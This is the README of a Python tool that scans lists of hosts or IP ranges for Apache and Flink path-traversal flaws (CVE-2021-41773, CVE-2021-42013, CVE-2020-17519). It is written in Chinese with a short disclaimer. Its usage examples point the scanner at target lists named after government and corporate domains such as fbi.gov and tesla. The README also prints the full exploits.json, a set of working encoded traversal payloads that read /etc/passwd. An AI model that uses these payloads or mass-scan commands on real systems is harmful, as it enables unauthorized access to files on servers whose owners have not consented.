这是一个用于测试 Apache 路径遍历漏洞的简单工具
https://blog.mrcl0wn.com/2021/10/uma-simples-tool-para-apache-path.html
Autor: MrCl0wn
Blog: https://blog.mrcl0wn.com
GitHub: https://github.com/MrCl0wnLab
Twitter: https://twitter.com/MrCl0wnLab
Email: mrcl0wnlab\@\gmail.com
Gr33ts:
+ aCCESS Security Lab @exchangesec
- Megarushing, Ofjaaaah, 5Ub5010, Gh05tPT, Hunt3rPl4nk
路径遍历攻击（也称为目录遍历）旨在访问存储在 Web 根文件夹之外的文件和目录。通过操纵引用文件的变量（使用“dot-dot-slash (../)”序列及其变体）或使用绝对文件路径，可能可以访问文件系统上的任意文件和目录，包括应用程序源代码、配置文件以及关键系统文件。需要注意的是，文件访问受系统操作访问控制（例如在 Microsoft Windows 操作系统中锁定或正在使用的文件）的限制。
此程序或之前的程序仅用于教育目的。未经许可请勿使用。适用通常的免责声明，尤其是本人（MrCl0wnLab）不对因直接或间接使用这些程序提供的信息或功能而造成的任何损害负责。作者或任何互联网提供商对这些程序或其任何衍生品的内容或滥用不承担任何责任。使用这些程序即表示您接受以下事实：因使用这些程序造成的任何损害（数据丢失、系统崩溃、系统受损等）均不由 MrCl0wnLab 负责。
python main.py --file gov.br.txt --thread 15
python main.py --file tesla.txt --ssl
python main.py --range 192.168.15.1,192.168.15.100 --thread 30
python main.py --file fbi.gov.txt --thread 15 --timeout 3
python main.py --file gov.ru.txt --debug
python main.py --help
.,,
(=\/\
\=\/\
\=\/\
`=\/
\
simples [ APACHE ]
___ _ _ _____ _
/ _ \__ _| |_| |__ /__ \_ __ __ ___ _____ _ __ ___ __ _| |
/ /_)/ _` | __| '_ \ / /\/ '__/ _` \ \ / / _ \ '__/ __|/ _` | |
/ ___/ (_| | |_| | | | / / | | | (_| |\ V / __/ | \__ \ (_| | |
\/ \__,_|\__|_| |_| \/ |_| \__,_| \_/ \___|_| |___/\__,_|_|
By: MrCl0wn / https://blog.mrcl0wn.com
https://twitter.com/MrCl0wnLab
https://github.com/MrCl0wnLab
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>]
[--thread <20>] [--ssl] [--timeout <5>] [--debug]
[!] Check: CVE-2021-41773, CVE-2021-42013, CVE-2020-17519
[!] File exploits: /assets/exploits.json
[!] Output: output/vuln.txt
python main.py --file gov.br.txt --thread 15
python main.py --file tesla.txt --ssl
python main.py --range 192.168.15.1,192.168.15.100 --thread 30
python main.py --file fbi.gov.txt --thread 15 --timeout 3
python main.py --file gov.ru.txt --debug
optional arguments:
-h, --help show this help message and exit
--file <ips.txt> Input your target host lists
--range <ip-start>,<ip-end>
Set range IP Eg.: 192.168.15.1,192.168.15.100
--thread <20>, -t <20>
Eg. 20
--ssl Enable request with SSL
--timeout <5> Set connection timeout
--debug, -d Enable debug mode
.
├── assets
│ ├── autor.json
│ ├── config.json
│ ├── exploits.json
│ └── prints
│ ├── banner.png
│ ├── print01.png
│ └── print02.png
├── LICENSE
├── main.py
├── modules
│ ├── banner_mrclw.py
│ ├── color_mrclw.py
│ ├── debug_mrclw.py
│ ├── file_mrclw.py
│ ├── __init__.py
│ ├── request_mrclw.py
│ ├── shodan_mrclw.py
│ └── thread_mrclw.py
├── output
└── README.md
assets/exploits.json
{
"CVE-2021-41773": "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"CVE-2021-42013-0": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd",
"CVE-2021-42013-1": "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"CVE-2021-42013-3": "/cgi-bin/.%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"CVE-2021-42013-4":"/cgi-bin/%25%25%25%2e/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"CVE-2020-17519-0":"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd",
"CVE-2020-17519-1":"/cgi-bin/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
}